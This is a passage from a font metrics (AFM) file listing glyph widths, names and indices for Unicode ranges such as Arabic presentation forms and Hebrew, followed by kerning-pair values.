U 62517 ; WX 573 ; N uniF435 ; G 5023
U 62518 ; WX 573 ; N uniF436 ; G 5024
U 62519 ; WX 824 ; N uniF437 ; G 5025
U 62520 ; WX 824 ; N uniF438 ; G 5026
U 62521 ; WX 824 ; N uniF439 ; G 5027
U 62522 ; WX 824 ; N uniF43A ; G 5028
U 62523 ; WX 824 ; N uniF43B ; G 5029
U 62524 ; WX 611 ; N uniF43C ; G 5030
U 62525 ; WX 611 ; N uniF43D ; G 5031
U 62526 ; WX 611 ; N uniF43E ; G 5032
U 62527 ; WX 611 ; N uniF43F ; G 5033
U 62528 ; WX 611 ; N uniF440 ; G 5034
U 62529 ; WX 611 ; N uniF441 ; G 5035
U 63173 ; WX 687 ; N uniF6C5 ; G 5036
U 64256 ; WX 810 ; N uniFB00 ; G 5037
U 64257 ; WX 741 ; N fi ; G 5038
U 64258 ; WX 741 ; N fl ; G 5039
U 64259 ; WX 1115 ; N uniFB03 ; G 5040
U 64260 ; WX 1116 ; N uniFB04 ; G 5041
U 64261 ; WX 808 ; N uniFB05 ; G 5042
U 64262 ; WX 1020 ; N uniFB06 ; G 5043
U 64275 ; WX 1388 ; N uniFB13 ; G 5044
U 64276 ; WX 1384 ; N uniFB14 ; G 5045
U 64277 ; WX 1378 ; N uniFB15 ; G 5046
U 64278 ; WX 1384 ; N uniFB16 ; G 5047
U 64279 ; WX 1713 ; N uniFB17 ; G 5048
U 64285 ; WX 294 ; N uniFB1D ; G 5049
U 64286 ; WX 0 ; N uniFB1E ; G 5050
U 64287 ; WX 519 ; N uniFB1F ; G 5051
U 64288 ; WX 665 ; N uniFB20 ; G 5052
U 64289 ; WX 939 ; N uniFB21 ; G 5053
U 64290 ; WX 788 ; N uniFB22 ; G 5054
U 64291 ; WX 920 ; N uniFB23 ; G 5055
U 64292 ; WX 786 ; N uniFB24 ; G 5056
U 64293 ; WX 857 ; N uniFB25 ; G 5057
U 64294 ; WX 869 ; N uniFB26 ; G 5058
U 64295 ; WX 821 ; N uniFB27 ; G 5059
U 64296 ; WX 890 ; N uniFB28 ; G 5060
U 64297 ; WX 838 ; N uniFB29 ; G 5061
U 64298 ; WX 758 ; N uniFB2A ; G 5062
U 64299 ; WX 758 ; N uniFB2B ; G 5063
U 64300 ; WX 758 ; N uniFB2C ; G 5064
U 64301 ; WX 758 ; N uniFB2D ; G 5065
U 64302 ; WX 728 ; N uniFB2E ; G 5066
U 64303 ; WX 728 ; N uniFB2F ; G 5067
U 64304 ; WX 728 ; N uniFB30 ; G 5068
U 64305 ; WX 610 ; N uniFB31 ; G 5069
U 64306 ; WX 447 ; N uniFB32 ; G 5070
U 64307 ; WX 588 ; N uniFB33 ; G 5071
U 64308 ; WX 687 ; N uniFB34 ; G 5072
U 64309 ; WX 437 ; N uniFB35 ; G 5073
U 64310 ; WX 485 ; N uniFB36 ; G 5074
U 64312 ; WX 679 ; N uniFB38 ; G 5075
U 64313 ; WX 435 ; N uniFB39 ; G 5076
U 64314 ; WX 578 ; N uniFB3A ; G 5077
U 64315 ; WX 566 ; N uniFB3B ; G 5078
U 64316 ; WX 605 ; N uniFB3C ; G 5079
U 64318 ; WX 724 ; N uniFB3E ; G 5080
U 64320 ; WX 453 ; N uniFB40 ; G 5081
U 64321 ; WX 680 ; N uniFB41 ; G 5082
U 64323 ; WX 675 ; N uniFB43 ; G 5083
U 64324 ; WX 658 ; N uniFB44 ; G 5084
U 64326 ; WX 653 ; N uniFB46 ; G 5085
U 64327 ; WX 736 ; N uniFB47 ; G 5086
U 64328 ; WX 602 ; N uniFB48 ; G 5087
U 64329 ; WX 758 ; N uniFB49 ; G 5088
U 64330 ; WX 683 ; N uniFB4A ; G 5089
U 64331 ; WX 343 ; N uniFB4B ; G 5090
U 64332 ; WX 610 ; N uniFB4C ; G 5091
U 64333 ; WX 566 ; N uniFB4D ; G 5092
U 64334 ; WX 658 ; N uniFB4E ; G 5093
U 64335 ; WX 710 ; N uniFB4F ; G 5094
U 64338 ; WX 1005 ; N uniFB52 ; G 5095
U 64339 ; WX 1059 ; N uniFB53 ; G 5096
U 64340 ; WX 375 ; N uniFB54 ; G 5097
U 64341 ; WX 408 ; N uniFB55 ; G 5098
U 64342 ; WX 1005 ; N uniFB56 ; G 5099
U 64343 ; WX 1059 ; N uniFB57 ; G 5100
U 64344 ; WX 375 ; N uniFB58 ; G 5101
U 64345 ; WX 408 ; N uniFB59 ; G 5102
U 64346 ; WX 1005 ; N uniFB5A ; G 5103
U 64347 ; WX 1059 ; N uniFB5B ; G 5104
U 64348 ; WX 375 ; N uniFB5C ; G 5105
U 64349 ; WX 408 ; N uniFB5D ; G 5106
U 64350 ; WX 1005 ; N uniFB5E ; G 5107
U 64351 ; WX 1059 ; N uniFB5F ; G 5108
U 64352 ; WX 375 ; N uniFB60 ; G 5109
U 64353 ; WX 408 ; N uniFB61 ; G 5110
U 64354 ; WX 1005 ; N uniFB62 ; G 5111
U 64355 ; WX 1059 ; N uniFB63 ; G 5112
U 64356 ; WX 375 ; N uniFB64 ; G 5113
U 64357 ; WX 408 ; N uniFB65 ; G 5114
U 64358 ; WX 1005 ; N uniFB66 ; G 5115
U 64359 ; WX 1059 ; N uniFB67 ; G 5116
U 64360 ; WX 375 ; N uniFB68 ; G 5117
U 64361 ; WX 408 ; N uniFB69 ; G 5118
U 64362 ; WX 1162 ; N uniFB6A ; G 5119
U 64363 ; WX 1191 ; N uniFB6B ; G 5120
U 64364 ; WX 655 ; N uniFB6C ; G 5121
U 64365 ; WX 720 ; N uniFB6D ; G 5122
U 64366 ; WX 1162 ; N uniFB6E ; G 5123
U 64367 ; WX 1191 ; N uniFB6F ; G 5124
U 64368 ; WX 655 ; N uniFB70 ; G 5125
U 64369 ; WX 720 ; N uniFB71 ; G 5126
U 64370 ; WX 721 ; N uniFB72 ; G 5127
U 64371 ; WX 721 ; N uniFB73 ; G 5128
U 64372 ; WX 721 ; N uniFB74 ; G 5129
U 64373 ; WX 721 ; N uniFB75 ; G 5130
U 64374 ; WX 721 ; N uniFB76 ; G 5131
U 64375 ; WX 721 ; N uniFB77 ; G 5132
U 64376 ; WX 721 ; N uniFB78 ; G 5133
U 64377 ; WX 721 ; N uniFB79 ; G 5134
U 64378 ; WX 721 ; N uniFB7A ; G 5135
U 64379 ; WX 721 ; N uniFB7B ; G 5136
U 64380 ; WX 721 ; N uniFB7C ; G 5137
U 64381 ; WX 721 ; N uniFB7D ; G 5138
U 64382 ; WX 721 ; N uniFB7E ; G 5139
U 64383 ; WX 721 ; N uniFB7F ; G 5140
U 64384 ; WX 721 ; N uniFB80 ; G 5141
U 64385 ; WX 721 ; N uniFB81 ; G 5142
U 64386 ; WX 513 ; N uniFB82 ; G 5143
U 64387 ; WX 578 ; N uniFB83 ; G 5144
U 64388 ; WX 513 ; N uniFB84 ; G 5145
U 64389 ; WX 578 ; N uniFB85 ; G 5146
U 64390 ; WX 513 ; N uniFB86 ; G 5147
U 64391 ; WX 578 ; N uniFB87 ; G 5148
U 64392 ; WX 513 ; N uniFB88 ; G 5149
U 64393 ; WX 578 ; N uniFB89 ; G 5150
U 64394 ; WX 576 ; N uniFB8A ; G 5151
U 64395 ; WX 622 ; N uniFB8B ; G 5152
U 64396 ; WX 576 ; N uniFB8C ; G 5153
U 64397 ; WX 622 ; N uniFB8D ; G 5154
U 64398 ; WX 1024 ; N uniFB8E ; G 5155
U 64399 ; WX 1024 ; N uniFB8F ; G 5156
U 64400 ; WX 582 ; N uniFB90 ; G 5157
U 64401 ; WX 582 ; N uniFB91 ; G 5158
U 64402 ; WX 1024 ; N uniFB92 ; G 5159
U 64403 ; WX 1024 ; N uniFB93 ; G 5160
U 64404 ; WX 582 ; N uniFB94 ; G 5161
U 64405 ; WX 582 ; N uniFB95 ; G 5162
U 64406 ; WX 1024 ; N uniFB96 ; G 5163
U 64407 ; WX 1024 ; N uniFB97 ; G 5164
U 64408 ; WX 582 ; N uniFB98 ; G 5165
U 64409 ; WX 582 ; N uniFB99 ; G 5166
U 64410 ; WX 1024 ; N uniFB9A ; G 5167
U 64411 ; WX 1024 ; N uniFB9B ; G 5168
U 64412 ; WX 582 ; N uniFB9C ; G 5169
U 64413 ; WX 582 ; N uniFB9D ; G 5170
U 64414 ; WX 854 ; N uniFB9E ; G 5171
U 64415 ; WX 900 ; N uniFB9F ; G 5172
U 64416 ; WX 854 ; N uniFBA0 ; G 5173
U 64417 ; WX 900 ; N uniFBA1 ; G 5174
U 64418 ; WX 375 ; N uniFBA2 ; G 5175
U 64419 ; WX 408 ; N uniFBA3 ; G 5176
U 64426 ; WX 938 ; N uniFBAA ; G 5177
U 64427 ; WX 880 ; N uniFBAB ; G 5178
U 64428 ; WX 693 ; N uniFBAC ; G 5179
U 64429 ; WX 660 ; N uniFBAD ; G 5180
U 64467 ; WX 824 ; N uniFBD3 ; G 5181
U 64468 ; WX 843 ; N uniFBD4 ; G 5182
U 64469 ; WX 476 ; N uniFBD5 ; G 5183
U 64470 ; WX 552 ; N uniFBD6 ; G 5184
U 64471 ; WX 622 ; N uniFBD7 ; G 5185
U 64472 ; WX 627 ; N uniFBD8 ; G 5186
U 64473 ; WX 622 ; N uniFBD9 ; G 5187
U 64474 ; WX 627 ; N uniFBDA ; G 5188
U 64475 ; WX 622 ; N uniFBDB ; G 5189
U 64476 ; WX 627 ; N uniFBDC ; G 5190
U 64478 ; WX 622 ; N uniFBDE ; G 5191
U 64479 ; WX 627 ; N uniFBDF ; G 5192
U 64484 ; WX 917 ; N uniFBE4 ; G 5193
U 64485 ; WX 1012 ; N uniFBE5 ; G 5194
U 64486 ; WX 375 ; N uniFBE6 ; G 5195
U 64487 ; WX 408 ; N uniFBE7 ; G 5196
U 64488 ; WX 375 ; N uniFBE8 ; G 5197
U 64489 ; WX 408 ; N uniFBE9 ; G 5198
U 64508 ; WX 917 ; N uniFBFC ; G 5199
U 64509 ; WX 1012 ; N uniFBFD ; G 5200
U 64510 ; WX 375 ; N uniFBFE ; G 5201
U 64511 ; WX 408 ; N uniFBFF ; G 5202
U 65024 ; WX 0 ; N uniFE00 ; G 5203
U 65025 ; WX 0 ; N uniFE01 ; G 5204
U 65026 ; WX 0 ; N uniFE02 ; G 5205
U 65027 ; WX 0 ; N uniFE03 ; G 5206
U 65028 ; WX 0 ; N uniFE04 ; G 5207
U 65029 ; WX 0 ; N uniFE05 ; G 5208
U 65030 ; WX 0 ; N uniFE06 ; G 5209
U 65031 ; WX 0 ; N uniFE07 ; G 5210
U 65032 ; WX 0 ; N uniFE08 ; G 5211
U 65033 ; WX 0 ; N uniFE09 ; G 5212
U 65034 ; WX 0 ; N uniFE0A ; G 5213
U 65035 ; WX 0 ; N uniFE0B ; G 5214
U 65036 ; WX 0 ; N uniFE0C ; G 5215
U 65037 ; WX 0 ; N uniFE0D ; G 5216
U 65038 ; WX 0 ; N uniFE0E ; G 5217
U 65039 ; WX 0 ; N uniFE0F ; G 5218
U 65056 ; WX 0 ; N uniFE20 ; G 5219
U 65057 ; WX 0 ; N uniFE21 ; G 5220
U 65058 ; WX 0 ; N uniFE22 ; G 5221
U 65059 ; WX 0 ; N uniFE23 ; G 5222
U 65136 ; WX 342 ; N uniFE70 ; G 5223
U 65137 ; WX 342 ; N uniFE71 ; G 5224
U 65138 ; WX 342 ; N uniFE72 ; G 5225
U 65139 ; WX 346 ; N uniFE73 ; G 5226
U 65140 ; WX 342 ; N uniFE74 ; G 5227
U 65142 ; WX 342 ; N uniFE76 ; G 5228
U 65143 ; WX 342 ; N uniFE77 ; G 5229
U 65144 ; WX 342 ; N uniFE78 ; G 5230
U 65145 ; WX 342 ; N uniFE79 ; G 5231
U 65146 ; WX 342 ; N uniFE7A ; G 5232
U 65147 ; WX 342 ; N uniFE7B ; G 5233
U 65148 ; WX 342 ; N uniFE7C ; G 5234
U 65149 ; WX 342 ; N uniFE7D ; G 5235
U 65150 ; WX 342 ; N uniFE7E ; G 5236
U 65151 ; WX 342 ; N uniFE7F ; G 5237
U 65152 ; WX 511 ; N uniFE80 ; G 5238
U 65153 ; WX 343 ; N uniFE81 ; G 5239
U 65154 ; WX 375 ; N uniFE82 ; G 5240
U 65155 ; WX 343 ; N uniFE83 ; G 5241
U 65156 ; WX 375 ; N uniFE84 ; G 5242
U 65157 ; WX 622 ; N uniFE85 ; G 5243
U 65158 ; WX 627 ; N uniFE86 ; G 5244
U 65159 ; WX 343 ; N uniFE87 ; G 5245
U 65160 ; WX 375 ; N uniFE88 ; G 5246
U 65161 ; WX 917 ; N uniFE89 ; G 5247
U 65162 ; WX 917 ; N uniFE8A ; G 5248
U 65163 ; WX 375 ; N uniFE8B ; G 5249
U 65164 ; WX 408 ; N uniFE8C ; G 5250
U 65165 ; WX 343 ; N uniFE8D ; G 5251
U 65166 ; WX 375 ; N uniFE8E ; G 5252
U 65167 ; WX 1005 ; N uniFE8F ; G 5253
U 65168 ; WX 1059 ; N uniFE90 ; G 5254
U 65169 ; WX 375 ; N uniFE91 ; G 5255
U 65170 ; WX 408 ; N uniFE92 ; G 5256
U 65171 ; WX 590 ; N uniFE93 ; G 5257
U 65172 ; WX 606 ; N uniFE94 ; G 5258
U 65173 ; WX 1005 ; N uniFE95 ; G 5259
U 65174 ; WX 1059 ; N uniFE96 ; G 5260
U 65175 ; WX 375 ; N uniFE97 ; G 5261
U 65176 ; WX 408 ; N uniFE98 ; G 5262
U 65177 ; WX 1005 ; N uniFE99 ; G 5263
U 65178 ; WX 1059 ; N uniFE9A ; G 5264
U 65179 ; WX 375 ; N uniFE9B ; G 5265
U 65180 ; WX 408 ; N uniFE9C ; G 5266
U 65181 ; WX 721 ; N uniFE9D ; G 5267
U 65182 ; WX 721 ; N uniFE9E ; G 5268
U 65183 ; WX 721 ; N uniFE9F ; G 5269
U 65184 ; WX 721 ; N uniFEA0 ; G 5270
U 65185 ; WX 721 ; N uniFEA1 ; G 5271
U 65186 ; WX 721 ; N uniFEA2 ; G 5272
U 65187 ; WX 721 ; N uniFEA3 ; G 5273
U 65188 ; WX 721 ; N uniFEA4 ; G 5274
U 65189 ; WX 721 ; N uniFEA5 ; G 5275
U 65190 ; WX 721 ; N uniFEA6 ; G 5276
U 65191 ; WX 721 ; N uniFEA7 ; G 5277
U 65192 ; WX 721 ; N uniFEA8 ; G 5278
U 65193 ; WX 513 ; N uniFEA9 ; G 5279
U 65194 ; WX 578 ; N uniFEAA ; G 5280
U 65195 ; WX 513 ; N uniFEAB ; G 5281
U 65196 ; WX 578 ; N uniFEAC ; G 5282
U 65197 ; WX 576 ; N uniFEAD ; G 5283
U 65198 ; WX 622 ; N uniFEAE ; G 5284
U 65199 ; WX 576 ; N uniFEAF ; G 5285
U 65200 ; WX 622 ; N uniFEB0 ; G 5286
U 65201 ; WX 1380 ; N uniFEB1 ; G 5287
U 65202 ; WX 1414 ; N uniFEB2 ; G 5288
U 65203 ; WX 983 ; N uniFEB3 ; G 5289
U 65204 ; WX 1018 ; N uniFEB4 ; G 5290
U 65205 ; WX 1380 ; N uniFEB5 ; G 5291
U 65206 ; WX 1414 ; N uniFEB6 ; G 5292
U 65207 ; WX 983 ; N uniFEB7 ; G 5293
U 65208 ; WX 1018 ; N uniFEB8 ; G 5294
U 65209 ; WX 1345 ; N uniFEB9 ; G 5295
U 65210 ; WX 1364 ; N uniFEBA ; G 5296
U 65211 ; WX 966 ; N uniFEBB ; G 5297
U 65212 ; WX 985 ; N uniFEBC ; G 5298
U 65213 ; WX 1345 ; N uniFEBD ; G 5299
U 65214 ; WX 1364 ; N uniFEBE ; G 5300
U 65215 ; WX 966 ; N uniFEBF ; G 5301
U 65216 ; WX 985 ; N uniFEC0 ; G 5302
U 65217 ; WX 1039 ; N uniFEC1 ; G 5303
U 65218 ; WX 1071 ; N uniFEC2 ; G 5304
U 65219 ; WX 942 ; N uniFEC3 ; G 5305
U 65220 ; WX 974 ; N uniFEC4 ; G 5306
U 65221 ; WX 1039 ; N uniFEC5 ; G 5307
U 65222 ; WX 1071 ; N uniFEC6 ; G 5308
U 65223 ; WX 942 ; N uniFEC7 ; G 5309
U 65224 ; WX 974 ; N uniFEC8 ; G 5310
U 65225 ; WX 683 ; N uniFEC9 ; G 5311
U 65226 ; WX 683 ; N uniFECA ; G 5312
U 65227 ; WX 683 ; N uniFECB ; G 5313
U 65228 ; WX 564 ; N uniFECC ; G 5314
U 65229 ; WX 683 ; N uniFECD ; G 5315
U 65230 ; WX 683 ; N uniFECE ; G 5316
U 65231 ; WX 683 ; N uniFECF ; G 5317
U 65232 ; WX 564 ; N uniFED0 ; G 5318
U 65233 ; WX 1162 ; N uniFED1 ; G 5319
U 65234 ; WX 1191 ; N uniFED2 ; G 5320
U 65235 ; WX 655 ; N uniFED3 ; G 5321
U 65236 ; WX 720 ; N uniFED4 ; G 5322
U 65237 ; WX 894 ; N uniFED5 ; G 5323
U 65238 ; WX 901 ; N uniFED6 ; G 5324
U 65239 ; WX 655 ; N uniFED7 ; G 5325
U 65240 ; WX 720 ; N uniFED8 ; G 5326
U 65241 ; WX 917 ; N uniFED9 ; G 5327
U 65242 ; WX 931 ; N uniFEDA ; G 5328
U 65243 ; WX 582 ; N uniFEDB ; G 5329
U 65244 ; WX 582 ; N uniFEDC ; G 5330
U 65245 ; WX 868 ; N uniFEDD ; G 5331
U 65246 ; WX 893 ; N uniFEDE ; G 5332
U 65247 ; WX 375 ; N uniFEDF ; G 5333
U 65248 ; WX 408 ; N uniFEE0 ; G 5334
U 65249 ; WX 733 ; N uniFEE1 ; G 5335
U 65250 ; WX 784 ; N uniFEE2 ; G 5336
U 65251 ; WX 619 ; N uniFEE3 ; G 5337
U 65252 ; WX 670 ; N uniFEE4 ; G 5338
U 65253 ; WX 854 ; N uniFEE5 ; G 5339
U 65254 ; WX 900 ; N uniFEE6 ; G 5340
U 65255 ; WX 375 ; N uniFEE7 ; G 5341
U 65256 ; WX 408 ; N uniFEE8 ; G 5342
U 65257 ; WX 590 ; N uniFEE9 ; G 5343
U 65258 ; WX 606 ; N uniFEEA ; G 5344
U 65259 ; WX 693 ; N uniFEEB ; G 5345
U 65260 ; WX 660 ; N uniFEEC ; G 5346
U 65261 ; WX 622 ; N uniFEED ; G 5347
U 65262 ; WX 627 ; N uniFEEE ; G 5348
U 65263 ; WX 917 ; N uniFEEF ; G 5349
U 65264 ; WX 1012 ; N uniFEF0 ; G 5350
U 65265 ; WX 917 ; N uniFEF1 ; G 5351
U 65266 ; WX 1012 ; N uniFEF2 ; G 5352
U 65267 ; WX 375 ; N uniFEF3 ; G 5353
U 65268 ; WX 408 ; N uniFEF4 ; G 5354
U 65269 ; WX 745 ; N uniFEF5 ; G 5355
U 65270 ; WX 759 ; N uniFEF6 ; G 5356
U 65271 ; WX 745 ; N uniFEF7 ; G 5357
U 65272 ; WX 759 ; N uniFEF8 ; G 5358
U 65273 ; WX 745 ; N uniFEF9 ; G 5359
U 65274 ; WX 759 ; N uniFEFA ; G 5360
U 65275 ; WX 745 ; N uniFEFB ; G 5361
U 65276 ; WX 759 ; N uniFEFC ; G 5362
U 65279 ; WX 0 ; N uniFEFF ; G 5363
U 65529 ; WX 0 ; N uniFFF9 ; G 5364
U 65530 ; WX 0 ; N uniFFFA ; G 5365
U 65531 ; WX 0 ; N uniFFFB ; G 5366
U 65532 ; WX 0 ; N uniFFFC ; G 5367
U 65533 ; WX 1113 ; N uniFFFD ; G 5368
EndCharMetrics
StartKernData 
StartKernPairs 1538

KPX dollar seven -159
KPX dollar eight -63
KPX dollar nine -139
KPX dollar colon -92
KPX dollar less -196
KPX dollar Y -73
KPX dollar backslash -73
KPX dollar questiondown -73
KPX dollar Aacute -73
KPX dollar Hcircumflex -159
KPX dollar Hbar -159
KPX dollar Imacron -63
KPX dollar Ibreve -63
KPX dollar Iogonek -63
KPX dollar Idot -63
KPX dollar IJ -63
KPX dollar Kcommaaccent -92
KPX dollar kgreenlandic -196
KPX dollar Lacute -73
KPX dollar lacute -196
KPX dollar uni01DC -159
KPX dollar uni01F4 -196
KPX dollar uni01F5 -73

KPX percent nine -83
KPX percent colon -112
KPX percent less -112
KPX percent Kcommaaccent -112
KPX percent kgreenlandic -112
KPX percent lacute -112
KPX percent uni01F4 -112

KPX ampersand six 38
KPX ampersand Gcircumflex 38
KPX ampersand Gbreve 38
KPX ampersand Gdotaccent 38
KPX ampersand Gcommaaccent 38
KPX ampersand uni01DA 38

KPX quotesingle less -149
KPX quotesingle kgreenlandic -149
KPX quotesingle lacute -149
KPX quotesingle uni01F4 -149

KPX parenright dollar -235
KPX parenright D -120
KPX parenright H -83
KPX parenright R -83
KPX parenright U -131
KPX parenright X -102
KPX parenright backslash -112
KPX parenright cent -120
KPX parenright sterling -120
KPX parenright currency -120
KPX parenright yen -120
KPX parenright brokenbar -120
KPX parenright section -120
KPX parenright dieresis -120
KPX parenright ordfeminine -83
KPX parenright guillemotleft -83
KPX parenright logicalnot -83
KPX parenright sfthyphen -83
KPX parenright acute -83
KPX parenright mu -83
KPX parenright paragraph -83
KPX parenright periodcentered -83
KPX parenright cedilla -83
KPX parenright ordmasculine -83
KPX parenright guillemotright -102
KPX parenright onequarter -102
KPX parenright onehalf -102
KPX parenright threequarters -102
KPX parenright questiondown -112
KPX parenright Aacute -112
KPX parenright Acircumflex -235
KPX parenright Atilde -120
KPX parenright Adieresis -235
KPX parenright Aring -120
KPX parenright AE -235
KPX parenright Ccedilla -120
KPX parenright Otilde -83
KPX parenright multiply -83
KPX parenright Ugrave -83
KPX parenright Ucircumflex -83
KPX parenright Yacute -83
KPX parenright dcaron -83
KPX parenright dmacron -83
KPX parenright emacron -83
KPX parenright ebreve -83
KPX parenright edotaccent -131
KPX parenright eogonek -131
KPX parenright ecaron -131
KPX parenright imacron -102
KPX parenright ibreve -102
KPX parenright iogonek -102
KPX parenright dotlessi -102
KPX parenright ij -102
KPX parenright jcircumflex -102
KPX parenright Lacute -112
KPX parenright uni01A5 -120
KPX parenright uni01AD -83
KPX parenright Uhorn -83
KPX parenright uni01F1 -83
KPX parenright uni01F5 -112

KPX asterisk seven -36
KPX asterisk less -45
KPX asterisk Hbar -36
KPX asterisk lacute -45

KPX period ampersand -92
KPX period two -92
KPX period eight -36
KPX period H -36
KPX period R -36
KPX period X -36
KPX period backslash -131
KPX period ordfeminine -36
KPX period guillemotleft -36
KPX period logicalnot -36
KPX period sfthyphen -36
KPX period acute -36
KPX period mu -36
KPX period paragraph -36
KPX period periodcentered -36
KPX period cedilla -36
KPX period ordmasculine -36
KPX period guillemotright -36
KPX period onequarter -36
KPX period onehalf -36
KPX period threequarters -36
KPX period questiondown -131
KPX period Aacute -131
KPX period Egrave -92
KPX period Icircumflex -92
KPX period Yacute -36
KPX period Ebreve -102
KPX period ebreve -36
KPX period Idot -36
KPX period dotlessi -36

KPX slash two -73
KPX slash seven -339
KPX slash eight -73
KPX slash nine -282
KPX slash colon -159
KPX slash less -319
KPX slash backslash -139
KPX slash questiondown -139
KPX slash Aacute -139
KPX slash Ebreve -73
KPX slash Hbar -339
KPX slash Idot -73
KPX slash lacute -319

KPX two dollar -55
KPX two nine -55
KPX two semicolon -73
KPX two less -73
KPX two lacute -73

KPX three dollar -188
KPX three D -55
KPX three V -36
KPX three backslash 38
KPX three cent -55
KPX three sterling -55
KPX three currency -55
KPX three yen -55
KPX three brokenbar -55
KPX three section -55
KPX three dieresis -55
KPX three questiondown 38
KPX three Aacute 38
KPX three gdotaccent -36
KPX three gcommaaccent -36


KPX five seven -92
KPX five less -112
KPX five backslash -92
KPX five questiondown -92
KPX five Aacute -92
KPX five Hbar -92
KPX five lacute -112

KPX six six -92
KPX six Gdotaccent -92
KPX six Gcommaaccent -92

KPX seven dollar -159
KPX seven seven 47
KPX seven D -264
KPX seven F -272
KPX seven H -272
KPX seven R -272
KPX seven U -225
KPX seven V -272
KPX seven X -225
KPX seven Z -225
KPX seven backslash -243
KPX seven cent -164
KPX seven sterling -264
KPX seven currency -164
KPX seven yen -164
KPX seven brokenbar -164
KPX seven section -164
KPX seven dieresis -196
KPX seven copyright -272
KPX seven ordfeminine -212
KPX seven guillemotleft -272
KPX seven logicalnot -212
KPX seven sfthyphen -212
KPX seven acute -192
KPX seven mu -272
KPX seven paragraph -192
KPX seven periodcentered -192
KPX seven cedilla -192
KPX seven ordmasculine -159
KPX seven guillemotright -195
KPX seven onequarter -225
KPX seven onehalf -195
KPX seven threequarters -195
KPX seven questiondown -243
KPX seven Aacute -243
KPX seven Eacute -272
KPX seven Idieresis -272
KPX seven Yacute -272
KPX seven ebreve -159
KPX seven edotaccent -225
KPX seven ecaron -225
KPX seven gdotaccent -272
KPX seven gcommaaccent -272
KPX seven dotlessi -225

KPX eight dollar -63

KPX nine dollar -139
KPX nine two -36
KPX nine D -112
KPX nine H -112
KPX nine L -36
KPX nine R -112
KPX nine X -73
KPX nine cent -112
KPX nine sterling -112
KPX nine currency -112
KPX nine yen -112
KPX nine brokenbar -112
KPX nine section -112
KPX nine dieresis -112
KPX nine ordfeminine -112
KPX nine guillemotleft -112
KPX nine logicalnot -112
KPX nine sfthyphen -112
KPX nine acute -112
KPX nine mu -112
KPX nine paragraph -112
KPX nine periodcentered -112
KPX nine cedilla -112
KPX nine ordmasculine -112
KPX nine guillemotright -73
KPX nine onequarter -73
KPX nine onehalf -73
KPX nine threequarters -73
KPX nine Yacute -112
KPX nine Ebreve -36
KPX nine ebreve -112
KPX nine dotlessi -73

KPX colon dollar -92
KPX colon D -73
KPX colon H -73
KPX colon R -73
KPX colon U -36
KPX colon cent -73
KPX colon sterling -73
KPX colon currency -73
KPX colon yen -73
KPX colon brokenbar -73
KPX colon section -73
KPX colon dieresis -73
KPX colon ordfeminine -73
KPX colon guillemotleft -73
KPX colon logicalnot -73
KPX colon sfthyphen -73
KPX colon acute -73
KPX colon mu -73
KPX colon paragraph -73
KPX colon periodcentered -73
KPX colon cedilla -73
KPX colon ordmasculine -73
KPX colon Yacute -73
KPX colon ebreve -73
KPX colon edotaccent -36
KPX colon ecaron -36

KPX semicolon ampersand -73
KPX semicolon two -73
KPX semicolon H -55
KPX semicolon ordfeminine -55
KPX semicolon guillemotleft -55
KPX semicolon logicalnot -55
KPX semicolon sfthyphen -55
KPX semicolon Egrave -73
KPX semicolon Icircumflex -73
KPX semicolon Yacute -55
KPX semicolon Ebreve -73

KPX less dollar -196
KPX less ampersand -73
KPX less two -73
KPX less D -188
KPX less H -188
KPX less R -188
KPX less X -149
KPX less cent -188
KPX less sterling -188
KPX less currency -188
KPX less yen -188
KPX less brokenbar -188
KPX less section -188
KPX less dieresis -188
KPX less ordfeminine -188
KPX less guillemotleft -188
KPX less logicalnot -188
KPX less sfthyphen -188
KPX less acute -188
KPX less mu -188
KPX less paragraph -188
KPX less periodcentered -188
KPX less cedilla -188
KPX less ordmasculine -188
KPX less guillemotright -149
KPX less onequarter -149
KPX less onehalf -149
KPX less threequarters -149
KPX less Egrave -73
KPX less Icircumflex -73
KPX less Yacute -188
KPX less Ebreve -92
KPX less ebreve -188
KPX less dotlessi -149


KPX D backslash -63
KPX D questiondown -63
KPX D Aacute -63


KPX N H -55
KPX N R -55
KPX N ordfeminine -55
KPX N guillemotleft -55
KPX N logicalnot -55
KPX N sfthyphen -55
KPX N acute -55
KPX N mu -55
KPX N paragraph -55
KPX N periodcentered -55
KPX N cedilla -55
KPX N ordmasculine -45
KPX N Yacute -55
KPX N ebreve -55





KPX cent backslash -63
KPX cent questiondown -63
KPX cent Aacute -63

KPX sterling backslash -63
KPX sterling questiondown -63
KPX sterling Aacute -63

KPX currency backslash -63
KPX currency questiondown -63
KPX currency Aacute -63

KPX yen backslash -63
KPX yen questiondown -63
KPX yen Aacute -63

KPX brokenbar backslash -63
KPX brokenbar questiondown -63
KPX brokenbar Aacute -63

KPX section backslash -63
KPX section questiondown -63
KPX section Aacute -63



KPX Acircumflex seven -159
KPX Acircumflex eight -63
KPX Acircumflex nine -139
KPX Acircumflex colon -92
KPX Acircumflex less -196
KPX Acircumflex Y -73
KPX Acircumflex backslash -73
KPX Acircumflex questiondown -73
KPX Acircumflex Aacute -73
KPX Acircumflex Hcircumflex -159
KPX Acircumflex Hbar -159
KPX Acircumflex Imacron -63
KPX Acircumflex Ibreve -63
KPX Acircumflex Iogonek -63
KPX Acircumflex Idot -63
KPX Acircumflex IJ -63
KPX Acircumflex Kcommaaccent -92
KPX Acircumflex kgreenlandic -196
KPX Acircumflex Lacute -73
KPX Acircumflex lacute -196
KPX Acircumflex uni01DC -159
KPX Acircumflex uni01F4 -196
KPX Acircumflex uni01F5 -73

KPX Adieresis seven -159
KPX Adieresis eight -63
KPX Adieresis nine -139
KPX Adieresis colon -92
KPX Adieresis less -196
KPX Adieresis Y -73
KPX Adieresis backslash -73
KPX Adieresis questiondown -73
KPX Adieresis Aacute -73
KPX Adieresis Hcircumflex -159
KPX Adieresis Hbar -159
KPX Adieresis Imacron -63
KPX Adieresis Ibreve -63
KPX Adieresis Iogonek -63
KPX Adieresis Idot -63
KPX Adieresis IJ -63
KPX Adieresis Kcommaaccent -92
KPX Adieresis kgreenlandic -196
KPX Adieresis Lacute -73
KPX Adieresis lacute -196
KPX Adieresis uni01DC -159
KPX Adieresis uni01F4 -196
KPX Adieresis uni01F5 -73

KPX AE seven -159
KPX AE eight -63
KPX AE nine -139
KPX AE colon -92
KPX AE less -196
KPX AE Y -73
KPX AE backslash -73
KPX AE questiondown -73
KPX AE Aacute -73
KPX AE Hcircumflex -159
KPX AE Hbar -159
KPX AE Imacron -63
KPX AE Ibreve -63
KPX AE Iogonek -63
KPX AE Idot -63
KPX AE IJ -63
KPX AE Kcommaaccent -92
KPX AE kgreenlandic -196
KPX AE Lacute -73
KPX AE lacute -196
